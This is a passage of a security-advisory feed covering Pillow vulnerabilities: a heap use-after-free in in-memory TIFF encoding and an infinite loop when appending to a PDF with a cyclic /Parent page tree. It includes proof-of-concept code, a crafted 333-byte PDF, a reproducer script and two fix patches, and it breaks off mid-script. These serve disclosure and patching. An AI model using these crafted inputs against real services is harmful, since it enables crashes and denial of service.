tiffinfo={315: \"artist\", 33432: \"copyright!\", 306: \"2024:01:01 00:00:00\"})\nim.save(\"ref.tif\", \"TIFF\", **kw)\nbuf = io.BytesIO()\nim.save(buf, \"TIFF\", **kw)\na, b = open(\"ref.tif\", \"rb\").read(), buf.getvalue()\nfor i in (i for i in range(len(a)) if a[i] != b[i]):\n    print(f\"  offset {i}: file 0x{a[i]:02x}   BytesIO 0x{b[i]:02x}\")\n'''\nstale = run(STALE, MALLOC_PERTURB_=\"170\").stdout\nprint(\"same image, same options, saved to a file path vs. to a BytesIO:\")\nprint(stale or \"  outputs identical\")\nleak = \"BytesIO 0x55\" in stale\nprint(f\"-\u003e BytesIO output contains never-written heap bytes: {leak}\\n\")\n\nprint(\"BUG\" if overflow or leak else \"OK\")\n```\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-10-21T21:28:09.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.2,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-332p-7hrc-92wf","https://nvd.nist.gov/vuln/detail/CVE-2026-112393","https://github.com/python-pillow/Pillow/commit/11582e5ffbdceb973d5ee593f3105af5a9852b40","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-332p-7hrc-92wf"],"source_kind":"github","identifiers":["GHSA-332p-7hrc-92wf","CVE-2026-112393"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-21T22:00:07.820Z","updated_at":"2026-12-03T11:01:20.273Z","epss_percentage":0.01019,"epss_percentile":0.64355,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zMzJwLTdocmMtOTJ3Zs4AB-_W","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zMzJwLTdocmMtOTJ3Zs4AB-_W","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003e= 2.0.0, \u003c 13.0.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zMzJwLTdocmMtOTJ3Zs4AB-_W/related_packages","related_advisories":[{"uuid":"UBUNTU-CVE-2026-112393","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"USN-9064-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"DEBIAN-CVE-2026-112393","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-112393"},{"uuid":"CVE-2026-112393","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112393.json"}]},{"uuid":"GSA_kwCzR0hTQS00cnI1LTg5ajgtbXd3bc4AB-_V","url":"https://github.com/advisories/GHSA-4rr5-89j8-mwwm","title":"Pillow: Heap use-after-free when encoding TIFF to an in-memory buffer","description":"### Summary\nSaving an image as TIFF to an in-memory buffer can trigger a heap use-after-free if libtiff rejects a tag at encode time. When `TIFFWriteScanline` fails, the encoder frees its output buffer but leaves the libtiff handle open. Later, when the encoder object is torn down, `TIFFClose` flushes buffered bytes through the write callback and writes into the freed buffer. An application that re-encodes attacker-influenced images to TIFF in memory can be crashed and is a candidate for remote code execution.\n\n### Details\nThe failure path in `ImagingLibTiffEncode` frees `clientstate-\u003edata` for the in-memory case but does not close the TIFF or null `clientstate-\u003etiff` (the file-descriptor branch just above it does set `tiff = NULL`):\n\n- `src/libImaging/TiffDecode.c:1041-1046`\n\nTeardown then calls `ImagingLibTiffEncodeCleanup`, which runs `TIFFClose(tiff)` because `tiff` is still set:\n\n- `src/encode.c:99-101`\n- `src/libImaging/TiffDecode.c:955`\n\n`TIFFClose` flushes through `_tiffWriteProc`, which reallocs and memcpys into the freed `state-\u003edata`:\n\n- `src/libImaging/TiffDecode.c:103-115`\n\nThe Predictor tag is a convenient trigger: the floating-point predictor (value 3) is invalid for integer sample data, so libtiff aborts the write.\n\n### PoC\n```python\nimport io\nfrom PIL import Image\n\n# In-memory TIFF re-encode. libtiff rejects Predictor=3 (floating point) on integer\n# data, so TIFFWriteScanline fails. The encoder frees clientstate-\u003edata but leaves the\n# TIFF open; cleanup's TIFFClose then writes through the callback into the freed buffer.\nim = Image.new(\"L\", (64, 64))\nbuf = io.BytesIO()\nim.save(buf, format=\"TIFF\", compression=\"tiff_lzw\", tiffinfo={317: 3})  # 317 = Predictor\n```\n\nRun it:\n```\n$ python 01_poc.py\nPredictorSetup: Floating point \"Predictor\" not supported with 1 data format.\nOSError: encoder error -2 when writing image file\nSegmentation fault (core dumped)\n```\n\nObserved on a source build of commit `3e2ab96` with libtiff. The process aborts during cleanup after the encoder error. Depending on heap state the same run sometimes reports `corrupted double-linked list` instead of a segfault; both are the same write into freed memory.\n\nUnder AddressSanitizer (build with `-fsanitize=address`), relevant frames:\n```\n==ERROR: AddressSanitizer: heap-use-after-free on address 0x7ef737b48804\nWRITE of size 4 at 0x7ef737b48804 thread T0\n    #1 _tiffWriteProc                 src/libImaging/TiffDecode.c:115\n    #3 TIFFFlush                      libtiff.so.6\n    #5 TIFFClose                      libtiff.so.6\n    #6 ImagingLibTiffEncodeCleanup    src/libImaging/TiffDecode.c:955\n    #7 _dealloc                       src/encode.c:100\nfreed by thread T0 here:\n    #1 ImagingLibTiffEncode           src/libImaging/TiffDecode.c:1045\n    #2 _encode                        src/encode.c:139\npreviously allocated by thread T0 here:\n    #1 ImagingLibTiffEncodeInit       src/libImaging/TiffDecode.c:863\n    #2 PyImaging_LibTiffEncoderNew    src/encode.c:757\nSUMMARY: AddressSanitizer: heap-use-after-free src/libImaging/TiffDecode.c:115 in _tiffWriteProc\n```\nThe buffer allocated in `ImagingLibTiffEncodeInit` is freed in `ImagingLibTiffEncode`, then written by `_tiffWriteProc` during the `TIFFClose` flush that runs from the encoder's `_dealloc`.\n\n### Impact\nUse-after-free in a C extension. Affects any service that converts or thumbnails untrusted images to TIFF in memory (a `BytesIO` or other non-seekable target). Result is a crash and possible memory corruption leading to code execution.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-21T21:24:19.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-4rr5-89j8-mwwm","https://nvd.nist.gov/vuln/detail/CVE-2026-112396","https://github.com/python-pillow/Pillow/commit/dc95da20207827a062cfbf551ee9f6031465a8bb","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-4rr5-89j8-mwwm"],"source_kind":"github","identifiers":["GHSA-4rr5-89j8-mwwm","CVE-2026-112396"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-21T22:00:07.820Z","updated_at":"2026-12-03T11:01:20.274Z","epss_percentage":0.00694,"epss_percentile":0.54202,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00cnI1LTg5ajgtbXd3bc4AB-_V","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00cnI1LTg5ajgtbXd3bc4AB-_V","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003e= 11.3.0, \u003c 13.0.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00cnI1LTg5ajgtbXd3bc4AB-_V/related_packages","related_advisories":[{"uuid":"CVE-2026-112396","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112396.json"},{"uuid":"USN-9064-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"DEBIAN-CVE-2026-112396","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-112396"}]},{"uuid":"GSA_kwCzR0hTQS1mMmc2LTU0MnYtOWo1OM4AB-_U","url":"https://github.com/advisories/GHSA-f2g6-542v-9j58","title":"Pillow: Infinite loop in PdfParser.rewrite_pages on page tree Parent cycle","description":"```\n============================================================================\nInfinite loop in PdfParser.rewrite_pages on page tree Parent cycle\nLocation: src/PIL/PdfParser.py:505  in PdfParser.rewrite_pages()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA PDF file of a few hundred bytes makes Pillow hang forever, holding one processor core at 100%, when an application tries to append an image to it. Anyone who can supply the existing PDF to an application that calls `im.save(fp, \"PDF\", append=True)` (or `save_all=True, append=True`) can tie up that worker indefinitely. Memory use stays flat, so only an external timeout stops it.\n\nThe bug is in `PdfParser.rewrite_pages()` in `src/PIL/PdfParser.py` (the `while pages_tree_node_ref:` loop at line 505). For each original page, it walks the `/Parent` chain upward and stops only when it reaches a node with no `/Parent`. It keeps no record of nodes it has already visited, so a loop in that chain never ends. The simplest case is a `/Pages` root that lists itself as its own `/Parent`; a longer cycle among page-tree nodes behaves the same way. The path is `PdfImagePlugin._save()` → `write_catalog()` → `rewrite_pages()`, and it is reached whether the save target is a file path or a `BytesIO`. Plain `Image.open()` pipelines are not affected, because Pillow only parses PDFs on the append path.\n\nThis is a sibling of CVE-2026-42310 (the cyclic trailer `/Prev` loop in the same parser). The `processed_offsets` guard added to `read_prev_trailer()` for that issue does not cover this walk. The loop was introduced in 24ecfe315ab5 (2018-03-03) and has been present in every release since 5.1.0.\n\nThe attached reproducer builds two in-memory PDFs and appends a 4×4 image to each. The normal file finishes in about 45 ms. The 333-byte self-parented file is still spinning inside `rewrite_pages()` when a 5-second watchdog interrupts it. Two alternative fixes are attached: one silently tolerates the cycle, and one rejects the file with an error.\n\n## Details\n\n`PdfParser.rewrite_pages()` walks the `/Parent` chain of every pre-existing page upward and stops only when a node has no `/Parent`. It keeps no record of visited nodes, so a page-tree node whose `/Parent` points at itself, or at any node below it, makes the walk spin forever.\n\nThe following 333-byte file is a valid one-page PDF except that object 2, the page-tree root, declares `/Parent 2 0 R`:\n\n```\n%PDF-1.4\n1 0 obj\n\u003c\u003c/Type /Catalog /Pages 2 0 R\u003e\u003e\nendobj\n2 0 obj\n\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R\u003e\u003e\nendobj\n3 0 obj\n\u003c\u003c/Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]\u003e\u003e\nendobj\nxref\n0 4\n0000000000 65535 f \n0000000009 00000 n \n0000000056 00000 n \n0000000125 00000 n \ntrailer\n\u003c\u003c/Size 4 /Root 1 0 R\u003e\u003e\nstartxref\n192\n%%EOF\n```\n\n`Image.new(\"RGB\", (4, 4)).save(io.BytesIO(pdf), \"PDF\", append=True)` on these bytes never returns and holds one core at 100 % (the same happens when the target is a file path opened `r+b`). Interrupting it with `SIGALRM` after 5 s gives this traceback every time:\n\n```\n  File \"src/PIL/PdfImagePlugin.py\", line 263, in _save\n    existing_pdf.write_catalog()\n  File \"src/PIL/PdfParser.py\", line 473, in write_catalog\n    self.rewrite_pages()\n  File \"src/PIL/PdfParser.py\", line 505, in rewrite_pages\n    while pages_tree_node_ref:\n```\n\nThe same file without `/Parent 2 0 R` on object 2 is appended to in ~30 ms.\n\nThe loop:\n\n```python\n# src/PIL/PdfParser.py:483-510\ndef rewrite_pages(self) -\u003e None:\n    pages_tree_nodes_to_delete = []\n    for i, page_ref in enumerate(self.orig_pages):\n        page_info = self.cached_objects[page_ref]\n        del self.xref_table[page_ref.object_id]\n        pages_tree_nodes_to_delete.append(page_info[PdfName(b\"Parent\")])\n        …\n    # delete redundant Pages tree nodes from xref table\n    for pages_tree_node_ref in pages_tree_nodes_to_delete:\n        while pages_tree_node_ref:\n            pages_tree_node = self.cached_objects[pages_tree_node_ref]\n            if pages_tree_node_ref.object_id in self.xref_table:\n                del self.xref_table[pages_tree_node_ref.object_id]\n            pages_tree_node_ref = pages_tree_node.get(b\"Parent\", None)\n    self.orig_pages = []\n```\n\nHow the input gets there: with `append=True`, `PdfImagePlugin._save()` opens the existing bytes with `PdfParser.PdfParser(f=fp, …, mode=\"r+b\")` (`src/PIL/PdfImagePlugin.py:199`), whose constructor calls `read_pdf_info()`. That reads the catalog, reads the page-tree root through `read_indirect()` — which stores every object it reads in `self.cached_objects` (`src/PIL/PdfParser.py:1077`) — and flattens the tree with `linearize_page_tree()`, which `read_indirect()`s every `/Kids` entry. So after parsing, `orig_pages == [3 0 R]` and objects 2 and 3 are both in `cached_objects`. `_save()` then calls `existing_pdf.write_catalog()` → `rewrite_pages()`.\n\nFor the file above, the first loop puts page 3's `/Parent`, `2 0 R`, into `pages_tree_nodes_to_delete`. The inner `while` looks object 2 up in `cached_objects`, removes it from the xref table on the first pass, and sets `pages_tree_node_ref` to object 2's `/Parent` — which is `2 0 R` again. Nothing in the loop body changes on subsequent iterations, so it never exits: `cached_objects[2 0 R]` is never evicted, and deleting an already-deleted id from `XrefTable` is silent — `__delitem__` only records the id in `deleted_entries`, while `__contains__` keeps answering from `existing_entries`. The loop performs no I/O and no allocation, so neither `MemoryError` nor the recursion limit intervenes. A longer cycle behaves identically as long as every node on it was reached through `linearize_page_tree()` and is therefore cached (e.g. root 2 → `/Kids [4 0 R]`, node 4 → `/Kids [3 0 R] /Parent 2 0 R`, and root 2 declaring `/Parent 4 0 R`); a `/Parent` pointing at an object that was never read raises `KeyError` instead, which is harmless.\n\nThe parser already defends against exactly this shape of problem one level up: `read_prev_trailer()` (`src/PIL/PdfParser.py:699-722`) carries a `processed_offsets` list and raises `PdfFormatError(\"trailer loop found\")` when a `/Prev` offset repeats — the fix for CVE-2026-42310. The `/Parent` walk in `rewrite_pages()` has no equivalent guard.\n\nThe unguarded walk was introduced in `24ecfe315ab5` (\"issue #2959: fix wrong Parent of pre-existing Page objects when appending\", 2018-03-03) and has been in every release since 5.1.0.\n\n## Impact\n\nAny application that appends pages to a PDF it did not produce — `im.save(fp, \"PDF\", append=True)` or `save_all=True, append=True` on a user-supplied document — hangs indefinitely with one CPU core pinned, on an input of a few hundred bytes. The loop is pure Python doing two dict lookups per iteration, so memory stays flat and memory limits do not end it; only an external watchdog does. In a web worker or batch converter that is a denial of service of that worker per request. The attacker needs to control only the bytes of the existing PDF; no non-default Pillow setting is involved beyond the application choosing the append path. Pillow does not open PDFs for reading, so plain `Image.open()` pipelines are not affected.\n\nThis is a sibling of CVE-2026-42310 (infinite loop on a cyclic trailer `/Prev` chain in the same parser, same entry point): same class, different linked structure, and the guard added for that CVE does not cover it.\n\n## Reproducing\n\n`repro` is a single Python script that runs against the installed Pillow (`/src/src/PIL`). It needs no build step and no companion files, and takes about 5 seconds.\n\nThe script builds two one-page PDFs in memory with `make_pdf()`. Each has a Catalog (object 1), a `/Pages` root (object 2) and a `/Page` (object 3), and each has a correct xref table. The only difference between them is in object 2:\n\n- `control` has `\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1\u003e\u003e`. This is a normal file.\n- `cyclic` has `\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R\u003e\u003e`, so the page-tree root names itself as its own `/Parent`. This is the 333-byte file shown above.\n\nFor each PDF the script prints the bytes and then calls `Image.new(\"RGB\", (4, 4)).save(io.BytesIO(pdf), \"PDF\", append=True)` under a 5-second `SIGALRM` watchdog. If the watchdog fires, the script prints the Pillow frames the append was running in. The control runs first and has to finish. If it doesn't, the environment is broken, so the script prints `OK` without giving a verdict.\n\nExpected output on this commit (PDF dumps omitted):\n\n```\n[control] append finished in 0.045s\n[cyclic] still running after 5s, interrupted in:\n    save()  /src/src/PIL/Image.py:2724  save_handler(self, fp, filename)\n    _save()  /src/src/PIL/PdfImagePlugin.py:263  existing_pdf.write_catalog()\n    write_catalog()  /src/src/PIL/PdfParser.py:473  self.rewrite_pages()\n    rewrite_pages()  /src/src/PIL/PdfParser.py:506  pages_tree_node = self.cached_objects[pages_tree_node_ref]\n    ...\nBUG\n```\n\nThe innermost one or two frames change from run to run, because the alarm can land anywhere in the loop body at lines 505–509. The `rewrite_pages()` frame is always there. The control's timing shows that the same file without the self-reference is appended to in milliseconds. A fixed parser either finishes the cyclic append just as fast or rejects the file with an exception. In both cases the script prints `OK`. With attached patch 1 applied it prints `[cyclic] append finished in 0.001s` and `OK`. With attached patch 2 it prints `[cyclic] raised PdfFormatError: page tree loop found` and `OK`. The last line is `BUG` only when the cyclic append is still running when the watchdog fires.\n\n## Suggested fix\n\nBoth attached patches fix the root cause, which is that the `/Parent` walk in `rewrite_pages()` keeps no record of the nodes it has visited. Either one can be merged; they differ only in what happens to a malformed file.\n\n**Attached patch 1** (tolerant; our preference) adds one `processed_pages_tree_nodes` set that is shared across all pages in the delete loop, and breaks out of the `while` as soon as it reaches a node it has already seen:\n\n```python\n# src/PIL/PdfParser.py, rewrite_pages()\n        processed_pages_tree_nodes: set[IndirectReference] = set()\n        for pages_tree_node_ref in pages_tree_nodes_to_delete:\n            while pages_tree_node_ref:\n                if pages_tree_node_ref in processed_pages_tree_nodes:\n                    break\n                processed_pages_tree_nodes.add(pages_tree_node_ref)\n                …\n```\n\nBreaking loses nothing, because a visited node has already been removed from the xref table. The output is the same as today for every file that terminates. The file above is appended to normally, and object 2 ends up deleted. As a side effect, the ancestor chain that every page shares is walked once in total rather than once per page.\n\n**Attached patch 2** (strict) follows the `read_prev_trailer()` guard from the CVE-2026-42310 fix. It keeps a `processed_pages_tree_nodes` list for each page and calls `check_format_condition(pages_tree_node_ref not in processed_pages_tree_nodes, \"page tree loop found\")`, so a cyclic file is rejected with `PdfFormatError`. The list is per page because ancestors are legitimately shared between the pages of a well-formed document. Note that the error is raised from `write_catalog()`. By then the new page objects have already been written to the `r+b` file, but the new xref/trailer has not. Any other error raised on the append path today leaves the file in the same partially written state.\n\nEach patch also adds a `test_page_tree_parent_loop` regression test to `Tests/test_pdfparser.py`. The test builds the self-parented PDF above in memory, so no binary test asset is needed. No other `/Parent` walk exists in the parser, and `linearize_page_tree()` does not follow `/Parent`.\n\nNote that this walk follows `/Parent` links, which nothing else in `PdfParser` reads: `linearize_page_tree()` only follows `/Kids` downward and never looks at `/Parent`, so a visited-set added to the `/Kids` recursion (see Related findings) does not reach this loop. The file above has a perfectly tree-shaped `/Kids` structure and still hangs; both walks need their own guard, and they are natural to land together as one \"validate page tree while appending\" change.\n\n## Related findings\n\n- **Exponential page tree expansion in `PdfParser.linearize_page_tree()` (repeated `/Kids` references) hangs PDF append** — the downward counterpart of this bug in the same parser and on the same `Image.save(..., \"PDF\", append=True)` entry point: `linearize_page_tree()` (`src/PIL/PdfParser.py:1080-1094`) recurses into every `/Kids` entry and re-parses it via `read_indirect()` with no visited set, so a `/Pages` chain whose nodes list the same child N times over D levels costs N\u003csup\u003eD\u003c/sup\u003e object parses (a 1.9 KB, 10-wide × 12-level file never returns; a 5.8 KB, 300-wide × 3-level file runs for 13 minutes; a direct `/Kids` cycle ends in `RecursionError`). It differs from this report in the link followed (`/Kids` down vs `/Parent` up), the function and phase (`linearize_page_tree()` during `read_pdf_info()` in the `PdfParser` constructor vs `rewrite_pages()` during `write_catalog()`), the introducing commit (`6207b44ab1ff` vs `24ecfe315ab5`), and the symptom (exponential but finite CPU vs a true infinite loop). It needs a separate hunk: the patches attached here only guard the `/Parent` walk and leave the `/Kids` reproducer hanging in `linearize_page_tree()`, and the `/Kids` guard conversely leaves this reproducer spinning in `rewrite_pages()` — verified by cross-applying each patch. Applied together (the `/Kids` guard plus attached patch 2), both reproducers are rejected with `PdfFormatError: page tree loop found` and `Tests/test_pdfparser.py` + `Tests/test_file_pdf.py` pass (30 tests).\n\n## The patch (1 of 2)\n\nTrack visited page-tree nodes in PdfParser.rewrite_pages() so a cyclic /Parent chain cannot loop forever when appending to a PDF\n\nApplies to `src/PIL/PdfParser.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_pdfparser.py b/Tests/test_pdfparser.py\nindex f2ae6b11f..f841aca14 100644\n--- a/Tests/test_pdfparser.py\n+++ b/Tests/test_pdfparser.py\n@@ -169,3 +169,28 @@ def test_duplicate_xref_entry() -\u003e None:\n def test_trailer_loop() -\u003e None:\n     with pytest.raises(PdfFormatError, match=\"trailer loop found\"):\n         PdfParser(\"Tests/images/trailer_loop.pdf\")\n+\n+\n+@pytest.mark.timeout(5)\n+def test_page_tree_parent_loop() -\u003e None:\n+    # the /Pages root names itself as its own /Parent\n+    objects = [\n+        b\"\u003c\u003c/Type /Catalog /Pages 2 0 R\u003e\u003e\",\n+        b\"\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R\u003e\u003e\",\n+        b\"\u003c\u003c/Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]\u003e\u003e\",\n+    ]\n+    b = BytesIO(b\"%PDF-1.4\\n\")\n+    offsets = []\n+    for object_id, body in enumerate(objects, start=1):\n+        offsets.append(b.tell())\n+        b.write(b\"%d 0 obj\\n%s\\nendobj\\n\" % (object_id, body))\n+    xref_offset = b.tell()\n+    b.write(b\"xref\\n0 4\\n0000000000 65535 f \\n\")\n+    b.write(b\"\".join(b\"%010d 00000 n \\n\" % offset for offset in offsets))\n+    b.write(b\"trailer\\n\u003c\u003c/Size 4 /Root 1 0 R\u003e\u003e\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref_offset)\n+\n+    with PdfParser(f=b, mode=\"r+b\") as pdf:\n+        pdf.start_writing()\n+        pdf.write_catalog()\n+        pdf.write_xref_and_trailer()\n+        assert 2 in pdf.xref_table.deleted_entries\ndiff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py\nindex 672557190..9260cd8e7 100644\n--- a/src/PIL/PdfParser.py\n+++ b/src/PIL/PdfParser.py\n@@ -501,8 +501,14 @@ class PdfParser:\n                     # replace the page reference with the new one\n                     self.pages[j] = new_page_ref\n         # delete redundant Pages tree nodes from xref table\n+        processed_pages_tree_nodes: set[IndirectReference] = set()\n         for pages_tree_node_ref in pages_tree_nodes_to_delete:\n             while pages_tree_node_ref:\n+                if pages_tree_node_ref in processed_pages_tree_nodes:\n+                    # ancestors are shared between pages, and a malformed\n+                    # /Parent chain may loop back on itself\n+                    break\n+                processed_pages_tree_nodes.add(pages_tree_node_ref)\n                 pages_tree_node = self.cached_objects[pages_tree_node_ref]\n                 if pages_tree_node_ref.object_id in self.xref_table:\n                     del self.xref_table[pages_tree_node_ref.object_id]\n```\n\n## The patch (2 of 2)\n\nRaise PdfFormatError(\"page tree loop found\") in PdfParser.rewrite_pages() when a page's /Parent chain loops back on itself\n\nApplies to `src/PIL/PdfParser.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_pdfparser.py b/Tests/test_pdfparser.py\nindex f2ae6b11f..24faeefbc 100644\n--- a/Tests/test_pdfparser.py\n+++ b/Tests/test_pdfparser.py\n@@ -169,3 +169,27 @@ def test_duplicate_xref_entry() -\u003e None:\n def test_trailer_loop() -\u003e None:\n     with pytest.raises(PdfFormatError, match=\"trailer loop found\"):\n         PdfParser(\"Tests/images/trailer_loop.pdf\")\n+\n+\n+@pytest.mark.timeout(5)\n+def test_page_tree_parent_loop() -\u003e None:\n+    # the /Pages root names itself as its own /Parent\n+    objects = [\n+        b\"\u003c\u003c/Type /Catalog /Pages 2 0 R\u003e\u003e\",\n+        b\"\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R\u003e\u003e\",\n+        b\"\u003c\u003c/Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]\u003e\u003e\",\n+    ]\n+    b = BytesIO(b\"%PDF-1.4\\n\")\n+    offsets = []\n+    for object_id, body in enumerate(objects, start=1):\n+        offsets.append(b.tell())\n+        b.write(b\"%d 0 obj\\n%s\\nendobj\\n\" % (object_id, body))\n+    xref_offset = b.tell()\n+    b.write(b\"xref\\n0 4\\n0000000000 65535 f \\n\")\n+    b.write(b\"\".join(b\"%010d 00000 n \\n\" % offset for offset in offsets))\n+    b.write(b\"trailer\\n\u003c\u003c/Size 4 /Root 1 0 R\u003e\u003e\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref_offset)\n+\n+    with PdfParser(f=b, mode=\"r+b\") as pdf:\n+        pdf.start_writing()\n+        with pytest.raises(PdfFormatError, match=\"page tree loop found\"):\n+            pdf.write_catalog()\ndiff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py\nindex 672557190..9021b8d63 100644\n--- a/src/PIL/PdfParser.py\n+++ b/src/PIL/PdfParser.py\n@@ -502,7 +502,13 @@ class PdfParser:\n                     self.pages[j] = new_page_ref\n         # delete redundant Pages tree nodes from xref table\n         for pages_tree_node_ref in pages_tree_nodes_to_delete:\n+            processed_pages_tree_nodes = []\n             while pages_tree_node_ref:\n+                check_format_condition(\n+                    pages_tree_node_ref not in processed_pages_tree_nodes,\n+                    \"page tree loop found\",\n+                )\n+                processed_pages_tree_nodes.append(pages_tree_node_ref)\n                 pages_tree_node = self.cached_objects[pages_tree_node_ref]\n                 if pages_tree_node_ref.object_id in self.xref_table:\n                     del self.xref_table[pages_tree_node_ref.object_id]\n```\n\n## The reproducer\n\n\u003cdetails\u003e\n\u003csummary\u003eReproducer — \u003ccode\u003erepro\u003c/code\u003e, 3,152 bytes (click to open)\u003c/summary\u003e\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Infinite loop in PdfParser.rewrite_pages() on a cyclic /Parent chain.\n\nAppending an image to an existing PDF (im.save(fp, \"PDF\", append=True)) makes\nrewrite_pages() walk each original page's /Parent chain upward until a node has\nno /Parent.  Nothing records which nodes were visited, so a /Pages node that\nnames itself as its own /Parent keeps the walk going forever.\n\nWe append a 4x4 image to two one-page PDFs that differ in one entry:\n  control - a normal PDF                          -\u003e finishes in milliseconds\n  cyclic  - the /Pages root also says /Parent 2 0 R -\u003e never finishes\nA SIGALRM watchdog interrupts the append and shows the line it was stuck on.\n\"\"\"\nimport io\nimport signal\nimport time\nimport traceback\n\nfrom PIL import Image\n\nWATCHDOG_S = 5\n\n\ndef make_pdf(pages_root):\n    \"\"\"Catalog (1) -\u003e /Pages root (2) -\u003e /Page (3), with a correct xref table.\"\"\"\n    objects = [\n        b\"\u003c\u003c/Type /Catalog /Pages 2 0 R\u003e\u003e\",\n        pages_root,\n        b\"\u003c\u003c/Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]\u003e\u003e\",\n    ]\n    pdf = bytearray(b\"%PDF-1.4\\n\")\n    offsets = []\n    for num, body in enumerate(objects, start=1):\n        offsets.append(len(pdf))\n        pdf += b\"%d 0 obj\\n%s\\nendobj\\n\" % (num, body)\n    xref_offset = len(pdf)\n    pdf += b\"xref\\n0 4\\n0000000000 65535 f \\n\"\n    pdf += b\"\".join(b\"%010d 00000 n \\n\" % off for off in offsets)\n    pdf += b\"trailer\\n\u003c\u003c/Size 4 /Root 1 0 R\u003e\u003e\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref_offset\n    return bytes(pdf)\n\n\nclass StillRunning(BaseException):\n    pass\n\n\ndef on_alarm(signum, frame):\n    raise StillRunning\n\n\ndef append_image(name, pdf):\n    \"\"\"Append an image to `pdf`; return True if it finished before the watchdog.\"\"\"\n    print(f\"--- {name}: {len(pdf)}-byte PDF ---\")\n    print(pdf.decode(\"latin-1\"), end=\"\")\n    signal.alarm(WATCHDOG_S)\n    start = time.monotonic()\n    try:\n        Image.new(\"RGB\", (4, 4)).save(io.BytesIO(pdf), \"PDF\", append=True)\n    except StillRunning as e:\n        print(f\"[{name}] still running after {WATCHDOG_S}s, interrupted in:\")\n        for frame in traceback.extract_tb(e.__traceback__):\n            if \"/PIL/\" in frame.filename:\n                print(f\"    {frame.name}()  {frame.filename}:{frame.lineno}  {frame.line}\")\n        return False\n    except Exception as e:  # rejecting the file is a correct, safe outcome\n        print(f\"[{name}] raised {type(e).__name__}: {e}\")\n        return True\n    finally:\n        signal.alarm(0)\n    print(f\"[{name}] append finished in {time.monotonic() - start:.3f}s\")\n    return True\n\n\nsignal.signal(signal.SIGALRM, on_alarm)\n\n# Set up: the well-formed file is appended to instantly.\ncontrol = make_pdf(b\"\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1\u003e\u003e\")\nif not append_image(\"control\", control):\n    print(\"control case did not finish; environment problem, no verdict\")\n    print(\"OK\")\n    raise SystemExit\n\n# Attack: the same file, except the /Pages root is its own /Parent.\ncyclic = make_pdf(b\"\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R\u003e\u003e\")\nfinished = append_image(\"cyclic\", cyclic)\n\n# Verify: a fixed parser finishes (or rejects the file) like the control.\nprint(\"BUG\" if not finished else 